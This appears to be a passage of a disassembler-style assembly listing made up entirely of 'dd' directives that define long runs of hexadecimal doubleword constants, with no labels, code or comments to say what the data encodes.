		dd 2C2C0C84h, 9D7A02Ah,	40F4AEDh, 0B12DC480h, 0E2196134h
		dd 0B6790251h, 0D7CD60h, 0B48E5AD5h, 0EF4941DAh, 4A56CA26h
		dd 0DDA09E3Bh, 0F892E50Dh, 0DAD0B400h, 0AABF2A04h, 70BA3094h
		dd 61523D91h, 11DBDC00h, 2F2B5C50h, 0CD650EF3h,	42009E14h
		dd 0D26B0DD1h, 4621941Dh, 73F9AB00h, 0A4BA1787h, 0C072EAD8h
		dd 332ED951h, 0F11541D5h, 3901C20h, 0F8DFFEBBh,	0B0C9C8D7h
		dd 5FA33E3h, 65B3ACD1h
		dd 6987ECF0h, 5300BEFCh, 78CCBF80h, 595CF9Fh, 735FE806h
		dd 0CED84055h, 32C60F9Ah, 7E98800h, 52D6B977h, 0FB101BFCh
		dd 22B85903h, 6009BD2h,	6DA75CCBh, 1E3915Eh, 0B205354Dh
		dd 0E86367C8h, 80F61D52h, 0DFACEA0Eh, 3A41F844h, 0F07600B1h
		dd 62C6574Ah, 67611E40h, 849872F1h, 15CEDF8h, 437416E3h
		dd 0D4F5605Eh, 99523A8Ch, 402B0088h, 0EEB4CC39h, 67D601B5h
		dd 136BD445h, 0CB7BD892h, 7C781800h, 0BA15EDCFh, 5339C066h
		dd 0BC22B824h, 7B4B8B00h, 27D683CFh, 3BB4142Eh,	130130DBh
		dd 6BBA4471h, 1B9020E4h, 30543554h, 558B4A00h, 443C2D36h
		dd 984F03F3h, 73325DECh, 0DDA840F5h, 5709677Ah,	21E7DF00h
		dd 0FC4BD927h, 954A0085h, 3ADBCEADh, 720665D2h,	0A920C01Bh
		dd 0DF1F3F61h, 0A3A2278Eh, 7983E3C0h, 68002E01h, 0BEC3771h
		dd 91C5C378h, 0B08E8080h, 903DB53Bh, 0A3248500h, 54F3E296h
		dd 70204CD6h, 0E0B7DB80h, 6500FB67h, 0C0F1723Dh, 3C1D1C34h
		dd 771D057Ch, 0C1B91842h, 0C94CF5E7h, 0BFDD2E08h, 970E0300h
		dd 9018D562h, 175045F4h, 8D23405Ch, 0EC03388Eh,	8744EB31h
		dd 8B59D1DFh, 0D878802Bh, 9D02A5F8h, 0E73AC3DAh, 4A60819Eh
		dd 4980411Eh, 8FA73081h, 68007E40h, 0A45E4403h,	911BAC66h
		dd 54730C70h, 2A008B81h, 0EC59937Ch, 0CB7E439h,	4D7D385Dh
		dd 0E0008621h, 2A066524h, 1FC42B0h, 0CFAAA3E8h,	0F036FA40h
		dd 80A0B189h, 8F0C346Ah, 0F8D233C5h, 0F4A501BAh, 9061D43Ah
		dd 0F023A8h, 0F1C13714h, 839603h, 4E89B7CAh, 0B5ACFF9Fh
		dd 60E89776h, 0AF685D18h, 7D6D2B1h, 0C663E525h,	0CD493CBBh
		dd 1AB858h, 0B34D03EEh,	7DCDF1Ah, 9E5AE676h, 30B5E7B0h
		dd 0BA0416CEh, 30CC1E55h, 0BD0C0828h, 6111FB6Ch, 85300157h
		dd 86F127C2h, 0CDF2F183h, 38C6F6CFh, 8C8872ECh,	0FD67029Bh
		dd 0ADD305D0h, 0C845BCA5h, 0C6008104h, 393D9E17h, 3E513D5h
		dd 991565C5h, 512687A8h, 4140541Fh, 1981E8Fh, 70820B08h
		dd 0E65CDCECh, 0D60020C4h, 0E83A2481h, 0E0C325h, 6A4336F3h
		dd 0A99180F1h, 39A8E264h, 0E9651F46h, 0BFD1C21Ch, 80EF1440h
		dd 38F4BDh, 945D1C55h, 6E75F8DDh, 3203D4A0h, 0DB39211Ah
		dd 2BA86071h, 0C4CB03A0h, 67E63A13h, 9E891900h,	8F38A3C5h
		dd 5F6F48D6h, 743C5F00h, 0E41769FCh, 1DB05216h,	4EFF8440h
		dd 88A91F3Bh, 0FB2E8953h, 600054Bh, 315E0BFh, 871E0E3Eh
		dd 880071B9h, 99452755h, 0E08471CEh, 0FD3BD7EEh, 0C2E207B0h
		dd 300C42DEh, 41E0E539h, 75D68A05h, 0D4208599h,	0E2360268h
		dd 2D1F0748h, 0B2EBFF91h, 80663BB2h, 347A7326h,	93CB5840h
		dd 0F61200CEh, 60A95BF3h, 1009DC4h, 521B6310h, 76595E03h
		dd 8A110666h, 496CBBC8h, 4300606h, 0F4924788h, 76E84Eh
		dd 0FAF6AEA8h, 21B52CA3h, 2263C91h, 7E5BA500h, 0B9D6054Ah
		dd 947F02F0h, 0D60DF82h, 5B12EE56h, 4C401C52h, 94473455h
		dd 0D76C072Dh, 7192076Fh, 0E42CC0A1h, 6800FDBAh, 0A0438A44h
		dd 1D9CFC93h, 0B0997195h, 0D4A1D241h, 0D5632A01h, 8C368D6Ah
		dd 4895EC30h, 0AB1F0B10h, 8A79C1FEh, 41252667h,	0D977BBDCh
		dd 465C401Fh, 0C00BC5FFh, 90A99919h, 60CC3AD8h,	0BA6D304Ah
		dd 6C0AD69Bh, 3C3B8499h, 0A46EDD00h, 3A7831A2h,	0C700A071h
		dd 743F700Ah, 30A06705h, 0A8ABE864h, 12D6C3C7h,	730E191Ah
		dd 0DDDCB010h, 0E5C126A9h, 950300A4h, 60FACCF7h, 31AB5203h
		dd 0E8A8ED9Ah, 4811703Dh, 67C7F012h, 0FD3E506Ah, 7C002933h
		dd 950482D4h, 2531337h,	0DE6A056Bh, 0E8C47B54h,	45CA68A0h
		dd 0FBEF0C03h, 0B82972C5h, 885BBA05h, 8452CF7Dh, 0EA7804B4h
		dd 0C4887AC9h, 4E907C7h, 13C1CB28h, 1276B2BEh, 0E8B14301h
		dd 4CD08E2Ah, 0A1000427h, 0B69DB9ADh, 8E02C602h, 64572771h
		dd 90005AE5h, 136F00B4h, 0E4DDC1C3h, 930AA18Ch,	90B6A651h
		dd 982B7803h, 1BD02AD2h, 0B1A263A0h, 3EC68BAh, 900D96E9h
		dd 3C22FEh, 74FA3243h, 3D9A6891h, 2D6C1C0h, 0D653AE99h
		dd 939C3011h, 8C06EE54h, 0B09581B4h, 1658A4A0h,	0F4B11ABh
		dd 4F863A9Eh, 2A0019D3h, 0B6AF6D67h, 1B8937h, 3F7CC660h
		dd 0E46456EFh, 0A84320A2h, 24687158h, 45003061h, 0C1A05902h
		dd 6436314Bh, 70A87DE8h, 38919DC4h, 4AB1D485h, 1E466CD0h
		dd 47F9DEA3h, 71D58571h, 60F2AC7Ch, 0BF02282Fh,	0CF75FBFEh
		dd 528A4263h, 0AEC61D18h, 2694805Ch, 0FD114D98h, 0FBCFEB00h
		dd 8F40417Eh, 0ED7E0D5h, 2D1B9BC4h, 910700F3h, 0FC49C9B0h
		dd 0F877D626h, 9864AF07h, 0A4CC0129h, 0EAE00FC0h, 21E4A827h
		dd 0ACAD01AAh, 4ED4392Ah, 0AFD340B2h, 9D74DD18h, 92C8D700h
		dd 38C456DAh, 26A0145Ah, 180E045h, 0C0D8D3BBh, 955EB600h
		dd 40CBB03Ch, 41940AD1h, 49C29E4h, 80F8AC6Eh, 0D6F0A5D4h
		dd 0A0FB0825h, 53EC514h, 2831001Ah, 6A685148h, 0FC0119CAh
		dd 2D0BBAC6h, 0B3F49277h, 743013AFh, 0CF7C08B4h, 3B8C3C80h
		dd 1D24ED76h, 1D3880DEh, 80F59449h, 20730D01h, 70CD3C8Dh
		dd 0CF2493BAh, 0C743AC9Ah, 0F049AEADh, 72110091h, 756AFC2Ch
		dd 670741FFh, 76BE8C1Ah, 2452CFC1h, 0E81F3994h,	0C3D45980h
		dd 0FB00140Ah, 0B4466323h, 4EDCA4h, 91ED2F3Dh, 0E817903Ah
		dd 6918FA30h, 4E953C9Eh, 0F8DFA07Fh, 5100407Bh,	7259F06h
		dd 4A674C63h, 9E744F45h, 0DAD64E9Eh, 6F8022E9h,	42158E5Eh
		dd 0E4FEACA8h, 3DB4894Ch, 323A4484h, 5741699Fh,	349488C1h
		dd 82000FA8h, 4DECAC87h, 9CE73941h, 20FB925Ch, 0C838D708h
		dd 683FFF17h, 519F1106h, 0EC29C178h, 0D829F2F5h, 7B7D52CBh
		dd 84655C24h, 1A2B3500h, 9C0B096h, 0BC056737h, 0EFC2509Ah
		dd 8905CCCh, 130262ECh,	0D0383093h, 0E8D460F1h,	0A8E8E916h
		dd 0CBA50098h, 30DAC4B8h, 0AD039569h, 317599C8h, 447ACA89h
		dd 47C00994h, 6100019Fh, 7B3AE4D3h, 0D95C220Eh,	880CE1A2h
		dd 7041FAF5h, 0A0F49B48h, 0D57212B4h, 6740882Bh, 81DCBC03h
		dd 0A0A49239h, 967D2E07h, 7EA74004h, 0DD00D0A1h, 211FBC95h
		dd 519B77h, 0FAE0C2A8h,	0B265C3F9h, 34EF9301h, 1BADC9B4h
		dd 6850FC3Dh, 7AC018A2h, 77125152h, 2C5F8B01h, 48FB0F18h
		dd 594960h, 0C58E9FC4h,	53FC924Dh, 6AC7AC15h, 25007C1Ch
		dd 0E020782Dh, 1E915E42h, 2E960BDCh, 16B840B8h,	0B7004C76h
		dd 0F5A5E0EAh, 6E23A1h,	18AB7828h, 0E92CA07Dh, 604FBA4Ah
		dd 0E26FA0BDh, 5880563Ch, 270397BEh, 55CE3A31h,	627BA799h
		dd 0B08E2CB8h, 9B1E2F1Ch, 80C76D49h, 0DB4803A0h, 20B326AAh
		dd 0B3D147F4h, 0F6503776h, 2458E2F9h, 0BF9207B3h, 80208796h
		dd 0A1551CEAh, 7A1041C4h, 451E375Fh, 0EA00F851h, 6CE84754h
		dd 0C171F403h, 6DF73DB1h, 0CDA0CFF2h, 285C96F5h, 0F49EC0F0h
		dd 91C6F0h, 12EA2EDBh, 664D90C9h, 8BE2BA00h, 14599CD4h
		dd 1ED9EC7Fh, 8EA49DDCh, 0A7802468h, 4524B99h, 8205D892h
		dd 8F38F525h, 0EBF8E8C3h, 6E2DB9F7h, 1CD446FEh,	40C363FAh
		dd 7A786574h, 3A25F6EBh, 0E68CA0DAh, 99BA8FC0h,	0A4E4005Ch
		dd 2591EF48h, 0D1092300h, 24E087B4h, 0ABFE3952h, 988058C8h
		dd 0FA8341F5h, 0D26ED516h, 0C6AC6C04h, 521AE880h, 275E8F9h
		dd 8C16FD4Ch, 84D10A1Bh, 0DD243903h, 223BB042h,	68FEAFFh
		dd 0FBAE4E1Dh, 0C800E116h, 7B21E650h, 3D587DCh,	639A8BBBh
		dd 7DC82866h, 0B9003567h
		dd 0AECE9547h, 0A8655BC4h, 0AD8664h, 0D3EC575Eh, 74C88F96h
		dd 0F0E33B05h, 4CC2FA91h, 0FE8CC693h, 686B00BAh, 0E6BEB525h
		dd 28D2CA5Ah, 0A1C52000h, 964EAAEh, 1251A522h, 314B64B1h
		dd 1BFBC0E8h, 99F3B9C0h, 4BE85ACh, 30BA4C83h, 0ED54B41Fh
		dd 28AAF70Fh, 0F853B2B0h, 0F47C88h, 604450D0h, 4EBFC1C5h
		dd 0C9901A28h, 95B16E0Bh, 0A2D81829h, 56B90074h, 27ABC754h
		dd 3E005EBEh, 0D0D8523Ah, 0B8ED1440h, 2B6E0970h, 0F4E4A13Bh
		dd 0A6AC8F00h, 67FDC3F4h, 8030FB26h, 0ECAD5CD4h, 0C7624DC3h
		dd 98B2E290h, 0A2877105h, 5C808FE0h, 0C14C7323h, 637CDA29h
		dd 0E1C6E030h, 0B9341A00h, 771B0E02h, 0C14E0589h, 7D3856h
		dd 770402Ch, 781EC9E7h,	10404CBAh, 0F4025B81h, 0AF910B41h
		dd 0C010517Dh, 664BA2B9h, 6D0F6AA8h, 0B7E6D40Eh, 0D204D89Ah
		dd 0E43BB273h, 42E8CD25h, 4C2A6770h, 2AA9AD06h,	7B4D11E9h
		dd 0F5AE003Fh, 5506D5C9h, 19672CE5h, 13106028h,	2500ABB5h
		dd 8A07D81Ah, 8B055h, 0EF578FD1h, 0F7189180h, 384ECF74h
		dd 0B88E2C73h, 0B492A6h, 7FCF30FBh, 0D066DC1Bh,	367BB618h
		dd 4B1A31h, 9939D3CAh, 9E473E4Dh, 0AA49DE03h, 0E2237261h
		dd 0B56490DBh, 5431311h, 0BA64D2BDh, 89033C64h,	0AA65FE2h
		dd 4ED8E901h, 529E3B60h, 90289077h, 20205054h, 25D0B6Dh
		dd 8C80E93Ch, 0B61B281Fh, 0E0E28C31h, 892EAFEh,	0C8401ADh
		dd 22FAF626h, 42990F74h, 2D684036h, 5E8295ADh, 1194078Ah
		dd 60FC6A0Eh, 0ACC56E18h, 0E9637900h, 5E0AC64Bh, 8058B98Bh
		dd 55EB07CBh, 0DE015905h, 0FE15D111h, 7EF4A114h, 8FE50B03h
		dd 60C8C104h, 40185FEDh, 8741A01Fh, 0E87603F9h,	0BC04CA97h
		dd 15FB8FF0h, 0F3056DF8h, 65A9AEC3h, 0EA269CC0h, 95080033h
		dd 393E93Fh, 0A096C204h, 6441D59Ch, 0AE686754h,	6D06F429h
		dd 0F90344E1h, 35EB63Dh, 0ECC9648Ah, 2F2AC09Ah,	0DD7A0083h
		dd 0D5463BE6h, 93023418h, 523ED0Bh, 640C5A68h, 0A00E18F4h
		dd 0B412C9D0h, 1507D913h, 0D57266A4h, 0F70405Eh, 80F89444h
		dd 3318E531h, 38C09885h, 4181F6D8h, 0A1BA6A05h,	641104h
		dd 38F0D7D4h, 0A2CB95h,	3AC2E565h, 6677A6CCh, 90CA762Fh
		dd 78FDED28h, 99F000C6h, 0D671EB35h, 0E2E06513h, 1FE3A348h
		dd 660298ACh, 7922C19Dh, 0B20E07C8h, 25D640D3h,	4B0094C8h
		dd 0C1A102E0h, 1470FC4Ah, 347A1234h, 3C439300h,	0E521D687h
		dd 0C0946848h, 0FCF0C6E3h, 0CC24008Dh, 8AEFCD85h, 9D6ED83Ah
		dd 0FD9160D1h, 1B52C15h, 0B241AD6Dh, 3CBD6B68h,	177D8050h
		dd 3DBFDC6h, 13F719Dh, 908F2223h, 3EBA0A8Dh, 0EBBCC201h
		dd 7B61E8C8h, 251D6032h, 0C040C030h, 0E91CF9ADh, 8184B538h
		dd 0BA715DD3h, 82C6C01h, 3927E080h, 0A80EF01Ch,	2CECDCFh
		dd 7942C770h, 0D4E90104h, 64A0E5D5h, 132F47CCh,	99A0988Eh
		dd 64F91695h, 0E0A42420h, 49053710h, 408AC8A0h,	15188Ch
		dd 0F1BAEB52h, 33DE9D4Bh, 38976926h, 0F203316Eh, 0B7708CCCh
		dd 540623D8h, 6603A602h, 80DB90ACh, 68F0B2CCh, 96A33C26h
		dd 0BA99301h, 3A42CB75h, 444A48BCh, 0C0832B04h,	50B8A92Ch
		dd 9DE63C00h, 7AAF2DA8h, 5C54F438h, 0CD03507Dh,	583FE816h
		dd 0F0B3BCA0h, 7C0CD600h, 9E9301ABh, 7292170Dh,	64CC9051h
		dd 10018366h, 4C299407h, 5C3CD405h, 0A2030AC1h,	1F483D52h
		dd 3280A5C8h, 79430FCh,	0F5A413ABh, 0E66C094Ah,	0CC02FC9Eh
		dd 0DDA02BB1h, 0F020C3EBh, 91B7E8DBh, 4BCBA90h,	74A32280h
		dd 0A6685629h, 0E4205550h, 0E029A06Eh, 1C6CC495h, 0EBA0C06h
		dd 796919FBh, 0E11E8476h, 40C4F95Ah, 4FC0EA10h,	987BE5Dh
		dd 0C2E08CF3h, 44B25C05h, 8086623Ch, 33C77A32h,	84CFC50Ah
		dd 0A04BE423h, 5B5FE610h, 2A920052h, 5DFA30A5h,	2400C94Ah
		dd 3F2CEB75h, 0AB2EE1h,	90409BCFh, 18E28A7Fh, 5051EA28h
		dd 59A9BA0Fh, 9F874728h, 0F4E4CDE0h, 9D8B3E5Dh,	8C3D1085h
		dd 3C5C8280h, 44586F20h, 0BA642CD6h, 0C45B4038h, 0DB00B40Dh
		dd 0A6B3698Fh, 0CBA2B6h, 0ADC645F6h, 73C72790h,	3ADCE404h
		dd 64F1B99Eh, 97984Ch, 8273F36Ch, 0E1BEA9DDh, 6AC4E002h
		dd 2013D305h, 720409C3h, 702458h, 2363C01Fh, 0EE20F8BCh
		dd 1B440267h, 0FA970FA3h, 0C600C064h, 0FEECF802h, 0D410CAh
		dd 2CF05987h, 4D1C4F6Eh, 92397F13h, 18AB2031h, 9B463E0h
		dd 82ECC8A2h, 0F0DE1407h, 10E7DF6h, 80242058h, 0D9522E6h
		dd 8ACB1E02h, 75B700B2h, 8EE27A0Bh, 6FAC0609h, 0AF1451E8h
		dd 0D0F53C90h, 92DCE304h, 5CE20689h, 0CD177100h, 0CA647D73h
		dd 306BD205h, 8CA2684Ah, 0EAFA3F79h, 0A7B82A83h, 65EB3BBAh
		dd 9D996114h, 1EDC94D4h, 98246B57h, 3027DB00h, 9E56A969h
		dd 20E6441Ch, 2C9B352h,	64D8EC73h, 0DCA12698h, 0F325D57Ah
		dd 0B184C8A4h, 9EBBE70Fh, 0BC0B63B0h, 0DC6DA802h, 5E9907C2h
		dd 53D637D1h, 314A5191h, 8CBAA421h, 103CE8h, 707AEFAAh
		dd 287597FBh, 2910802h,	0E4732B90h, 0DCCC00B8h,	0A6B6C10Eh
		dd 0EB014FD1h, 0A59580E0h, 887C2B73h, 21A2FE0Bh, 0C1D19810h
		dd 3BDE30Fh, 4A2D269h, 926EE400h, 0E1BFC49h, 7853C000h
		dd 4CBD37EAh, 3E833C93h, 64AC8C04h, 736CC819h, 5E80D4B4h
		dd 9DF577DCh, 0AB07743h, 0A3B57559h, 90CF05C3h,	0E8CA37h
		dd 6B8BCE8h, 0EA83EFDh,	8DDADBC0h, 20E97C27h, 6A553ACDh
		dd 0C740097h, 0B6797DE7h, 3E854074h, 1A00C91Eh,	2C97FEC3h
		dd 2401023h, 8AE0B20Ah,	0B4E0728Fh, 0F312DBFAh,	1E00D6FCh
		dd 0FD4A07Dh, 0F8D8166Dh, 9F8C0441h, 5E153293h,	0DA253E3Ch
		dd 0FC7C5C20h, 4A5CE26Ah, 73160224h, 40181252h,	3EBFFF84h
		dd 79048FDCh, 0C8BE040Fh, 0CF01E3C0h, 51F4A995h, 0E101E627h
		dd 16A5C88Ch, 58150330h, 1375D6h, 9C454334h, 0AAC1C886h
		dd 9A909505h, 7C0E497h,	1DDE98Bh, 2052C7B6h, 63F28E65h
		dd 57420054h, 0D6720961h, 1E0D0152h, 0AC8A3E34h, 28866E8h
		dd 0C60FB26Bh, 74FABBh,	81975B64h, 6DBADEDAh, 5575E501h
		dd 0FAC773F4h, 11480E6h, 1C4EF8h, 0CC39E09Fh, 0CE209166h
		dd 5258D5E6h, 11B2248h,	8EFECFECh, 0E4ED6BC4h, 63F73AEEh
		dd 43E17AD4h, 0E5E1C3B0h, 0C0486966h, 7A292456h, 3D52847h
		dd 0FD680A90h, 7DC0863h, 40C77243h, 1288F833h, 0A8BEB0B1h
		dd 0B60089C9h, 34A2CC5h, 0FA5AF3CCh, 6A920013h,	0DAD80C96h
		dd 0C2001552h, 729A437Bh, 0CBCD98h, 4B2D9C4h, 77639064h
		dd 740949Eh, 1029E69h, 0DAD44AA6h, 0FC7B041Bh, 61FE738Fh
		dd 78B55916h, 2074830h,	1BA8027Eh, 367634C9h, 9CF3F460h
		dd 7F6B2A07h, 7830EA80h, 1C070A13h, 0C15CA766h,	3BB2E4F3h
		dd 549448D8h, 72B0900Bh, 0A2CE0CFh, 567E2B8h, 4369FC73h
		dd 12F482FDh, 0C424FF2Fh, 25022B60h, 0F1D8001Ch, 4514408Dh
		dd 0E5650951h, 5CC1C2E0h, 0F8CE3854h, 0B071266Ch, 0B0192F44h
		dd 805C38AAh, 9E2B30D5h, 0BE490170h, 0D0FEDC38h, 0F43973h
		dd 0A2117145h, 4C55C39Eh, 9800887Eh, 0A3C1C707h, 73261053h
		dd 0D80925F4h, 7F1444ABh, 0CCD03FBBh, 0EF5B6A00h, 5F0E02A4h
		dd 0BB95538h, 44889D5Ch, 31B20EE4h, 6059412Ah, 50C8321Eh
		dd 4D774610h, 0FAEAC80Ch, 841910h, 15415189h, 6C567FB6h
		dd 0EA2864FAh, 0C9242828h, 0F12D0D1h, 46B500C0h, 412F6FFBh
		dd 0C6CE05A0h, 0DA00BA8Eh
		dd 0DCD1D2E0h, 583AEC3Fh, 94808490h, 813B3DC9h,	4D1201Eh
		dd 76674340h, 4AD7E92Ah, 0DE548079h, 0DCE86A60h, 2FCCD402h
		dd 0C6E8E44Dh, 874E0090h, 6F4858C6h, 3E00F2FCh,	7CF41117h
		dd 3E545989h, 6780A432h, 5771256Ch, 0AE5868ADh,	7F918060h
		dd 640D1Bh, 0D6E1FD9Dh,	0E7AB996Dh, 78402CB1h, 3550E0h
		dd 0DC97AE51h, 480D011Eh, 0A9098BE6h, 0E47C07DBh, 0C3CF0044h
		dd 9BBE2647h, 4400D378h, 50F86DA5h, 4655D16h, 9099E53Dh
		dd 92C543Eh, 0C820B361h, 0D1740h, 38851254h, 0AFE6CACFh
		dd 0E22BDE01h, 9F22D6DDh, 88396460h, 0BCF41BB5h, 9D0A2700h
		dd 523B48B8h, 0F6BB046Ch, 0F23A8DDCh, 0C130F4Ch, 6690E3B3h
		dd 4444CAD8h, 0B21A0514h, 0EBC4D6h, 0F39EAAB8h,	0FC075FF7h
		dd 554129C6h, 0CAFB2D70h, 4A72009Bh, 82501895h,	0BB31C9B4h
		dd 8B62616Dh, 0BF4060h,	0F856B2B3h, 0C628EEC0h,	3E14AE00h
		dd 921A3FB5h, 0AD8C0752h, 0DF9177A0h, 0B25C0F00h, 6F0701Eh
		dd 8FA59D17h, 0B7483001h, 77D0D70Bh, 865F4813h,	0D2A95D00h
		dd 3EAA69F9h, 113D272Dh, 35C80F28h, 3FE1E52h, 0F2C98168h
		dd 927AA909h, 88875DEh,	28BD003Bh, 0F4D43336h, 0CC04597Ah
		dd 898B23D8h, 2A346C80h, 3F54B069h, 585D915h, 0B241D372h
		dd 0FF6100C0h, 0FBFD0919h, 0B08861ACh, 84406D50h, 0AABD0A40h
		dd 0FE00D4A2h, 262ADC9Fh, 8D005355h, 5BF3C83Fh,	2218F6Ah
		dd 43CCF212h, 24447234h, 0B155B20Fh, 0C847C0B8h, 0B04A5A99h
		dd 12E1E4BBh, 0E4614h, 0C9C77E17h, 0F0C18EA2h, 9D3A971Dh
		dd 1712CC66h, 0AE80E4BAh, 0CEB9D400h, 261CF992h, 34750080h
		dd 9C88C067h, 95046848h, 1E136405h, 0A8B20C95h,	9A7D7600h
		dd 966DAFE4h, 0FB37420Eh, 1E2044F2h, 0C21FDB43h, 382991C0h
		dd 3F7F2A07h, 8A4211A1h, 0E1FC8FE8h, 4BDDCCAh, 763D7FCh
		dd 7AB5CB94h, 0DA39837Fh, 1978494Ch, 1F7926A9h,	8ED8432Fh
		dd 0F0C8534Ah, 620054BAh, 27CD04B7h, 504894A3h,	9C3BCDBh
		dd 72353CAFh, 0E1FA9010h, 67F4470Ah, 0FE00BD53h, 4841ED7h
		dd 20E85E23h, 0EA596AD8h, 0F8558D05h, 0E800FC37h, 715DDAF9h
		dd 2FDF271Ch, 970F4064h, 0E0ACE00Fh, 0BE3044FBh, 26E41C8Fh
		dd 0D43907A8h, 7E6F80C2h, 0AE2D4207h, 84400EAh,	7896EEACh
		dd 684902DFh, 9E1E3028h, 0DCF8A046h, 0E6FDCD00h, 1606491Fh
		dd 0A2723Ch, 0A5F9F43Bh, 0E20D7A8Eh, 0B7218004h, 4C8229CEh
		dd 2788E875h, 0C73424E5h, 70E900B0h, 36F2EBEEh,	0CB4FAC25h
		dd 851BE848h, 132F7294h, 0B8F118Ch, 7022A9B4h, 24767B4Ah
		dd 7143A880h, 237E90h, 9A0A2836h, 7DB97764h, 5952B81Fh
		dd 24789BD8h, 0CCEA18D2h, 4112E8E9h, 782BAC2Eh,	0B8085616h
		dd 0E9E28065h, 160926C2h, 0A125F7Bh, 203086A2h,	277DB3B8h
		dd 2010970Ch, 0B00309B7h, 7A3B8670h, 921FE011h,	0C4779Eh
		dd 6C13F633h, 0A06F90E7h, 785EDD0Ah, 0D300381Eh, 0C70AE8D4h
		dd 3DA02FEh, 4A91CFF5h,	0AFE0E874h, 8740Bh, 4F64CF02h
		dd 20A59552h, 1F924A0h,	0D8F29E1Eh, 0F7A30282h,	63BC802Bh
		dd 138ED4E5h, 8218D39Dh, 90602F80h, 2C9184CFh, 4F036700h
		dd 9CBBC72Bh, 6FE28368h, 469090BCh, 3037CBA0h, 0F1B141CFh
		dd 22EBDB9Dh, 6B006630h, 68F6CF94h, 1A217C2h, 7CC71273h
		dd 0C9D17298h, 0D2C447C9h, 9CA01AFBh, 8F8CB745h, 0D490DE00h
		dd 4BDB2379h, 0A05A011Ch, 67F9C8CAh, 0B2786009h, 0E8FA2C07h
		dd 0ED800A39h, 0C3E76411h, 0DAEC9C79h, 0F084C7E4h, 0D30502A5h
		dd 0C800D8A4h, 0A270BB31h, 0B11F2AE4h, 0CD300098h, 12EA7BF1h
		dd 1EE8258h, 55E02452h,	0E68427E8h, 0AD1F341Bh,	0CFFE1C7Ch
		dd 54856E00h, 3086A0B8h, 0DBA87EF6h, 0E54A3A67h, 0F1831093h
		dd 8BE0C0C7h, 47920077h, 82EEC27h, 0C12EA2B4h, 0F3051C55h
		dd 13C02680h, 97112844h, 60BFC411h, 3200AB2Ch, 2B547E2Fh
		dd 0AD4E9Fh, 9CD78A4Bh,	0B7369479h, 8FAACD16h, 58397CA0h
		dd 32C1A0E5h, 406E3CC3h, 2EA992EBh, 73688C48h, 6102DCB8h
		dd 0C9F1B552h, 1E345940h, 5811C0FAh, 0AE90D1B7h, 0ECEFD505h
		dd 30A2AF91h, 31DE1300h, 7D8C2D82h, 425A8B05h, 0D8A9FB5Eh
		dd 76BEF900h, 0D944CFE4h, 807E5738h, 4D8F626Bh,	2891CDFFh
		dd 9C4F4B2h, 0C0E577D5h, 9741608Fh, 2A51E0F0h, 7CCC6440h
		dd 0E688AAF3h, 0F1DA1EC8h, 0DFA8002Eh, 5A51BF76h, 8BE9090Bh
		dd 0BF8CE43h, 7BFB0218h, 31058010h, 0A1617900h,	0C0E7DA4Dh
		dd 2F960025h, 0FBABCBACh, 63B0EA88h, 5173C812h,	0CD3538D0h
		dd 9659006Dh, 6A67AE7Dh, 4E038A14h, 1D5A3161h, 0A08284F5h
		dd 0E3F3189Dh, 0CAA2B301h, 0E6393F35h, 460D9FEh, 0FDFB0AF7h
		dd 33080394h, 0D014755Fh, 1CF69331h, 95C7039h, 5080976Dh
		dd 0EAC3A809h, 3BBCD900h, 4ECC3A10h, 7767007Eh,	0AC61CFEFh
		dd 6502F389h, 0C004363Fh, 0A5D82013h, 0B83EC5F0h, 1090F66Dh
		dd 0CD47913h, 6B0168E6h, 12208FECh, 8CE04844h, 5512D00h
		dd 0D0A351Fh, 0E88E0FB5h, 5E43D6C0h, 0ACC17F69h, 0BB42920h
		dd 10451691h, 42E038h, 0D691CABh, 0C3C9FF90h, 76941600h
		dd 36476D72h, 9C39175Fh, 0D2B0C9A0h, 0D97D6623h, 73C40152h
		dd 0A66C028Ch, 64208B41h, 846AC048h, 55667803h,	0A8B10A73h
		dd 76DC07h, 0C66443BDh,	3DD0E972h, 54005579h, 39C193C7h
		dd 9D044E6Ch, 0AC0F8400h, 0A41792BAh, 0DA005F17h, 351BD545h
		dd 9510B08Fh, 0D4DE2C10h, 927CD100h, 43F74979h,	8482139Bh
		dd 0C69C04A5h, 74F239h,	0ADBEC120h, 4E995A88h, 57302136h
		dd 0D6F5C896h, 4AEC4B4Bh, 0ADE94C00h, 0FFAFF6EAh, 89458B06h
		dd 316EBAh, 1A935102h, 0A658351Eh, 0E58B4800h, 78EF6E86h
		dd 7D502E99h, 93661040h, 0D4128CB3h, 0F3B8F0A9h, 7CA06400h
		dd 0A48DC1E9h, 2A201880h, 0BEB708E3h, 0CA27D278h, 7DB010F3h
		dd 81510048h, 0C043DE4Dh, 200078Ch, 68C3DDA9h, 1657BFA6h
		dd 0C0054CDBh, 5CB3213Ch, 0B9487378h, 89CF893Ch, 20C47857h
		dd 19B5E64Bh, 6DE9AABCh, 0BAB3FCh, 31F458E1h, 98527B19h
		dd 3B448B01h, 0C1390987h, 1C039C22h, 0E564B978h, 8CD852C4h
		dd 19106044h, 2B1E496Fh, 66C89D01h, 0ED568ADAh,	1EFDA420h
		dd 42B5FE44h, 5023987Fh, 67358840h, 748F2A0h, 7D379413h
		dd 9344B093h, 2F388871h, 0CFC40293h, 0A8D3FB04h, 0E49747Ch
		dd 9D5E3C1h, 61D7906Bh,	0C14D00C9h, 31A18735h, 98B6DD86h
		dd 5867040Ah, 384ED802h, 118F103h, 948EC1ADh, 19D891F9h
		dd 4F34A863h, 0D922A1A0h, 0C41C6427h, 2BB60384h, 0AC909A5Bh
		dd 0DC92147Ch, 0B0D7038h, 0E4F52791h, 0B4EE0020h, 55142282h
		dd 0BB008C90h, 0FC2ED0D7h, 3C139470h, 0CFD8AC8Bh, 2C67C70Bh
		dd 7D0934C6h, 7A1E43C9h, 97460040h, 2BC5A26Bh, 7B07329Ch
		dd 44A7571Ah, 0BA8F56A1h, 2000C06Dh, 0EA3FC5Fh,	0D1C2695h
		dd 45D27CCEh, 83B0F090h, 0CCC00079h, 6E1537F2h,	3D046569h
		dd 4F5BEC1Ch, 0A60078F3h, 301AB167h, 7A13FA7Eh,	6F0F234Bh
		dd 0E48A0070h, 33472C4h, 99776A04h, 394C2597h, 20F1C1F4h
		dd 5EC48F58h, 59350087h, 54B87649h, 40122ABh, 0F8ED685Fh
		dd 0B448FAF7h, 0B46E000Dh, 9D30E2AEh, 6502FEC1h, 392A1B7Dh
		dd 0B4C6D8h, 870C440Bh,	0F2ADC8A6h, 38C81B4Fh, 0A49D8810h
		dd 0FFD5021Dh, 0BF7095C0h, 38CC7C13h, 544CDFB2h, 2D766201h
		dd 738B2E35h, 571B00E8h
		dd 0CE316E48h, 5C624887h, 11F4782Ch, 44C84F6Ch,	804407E8h
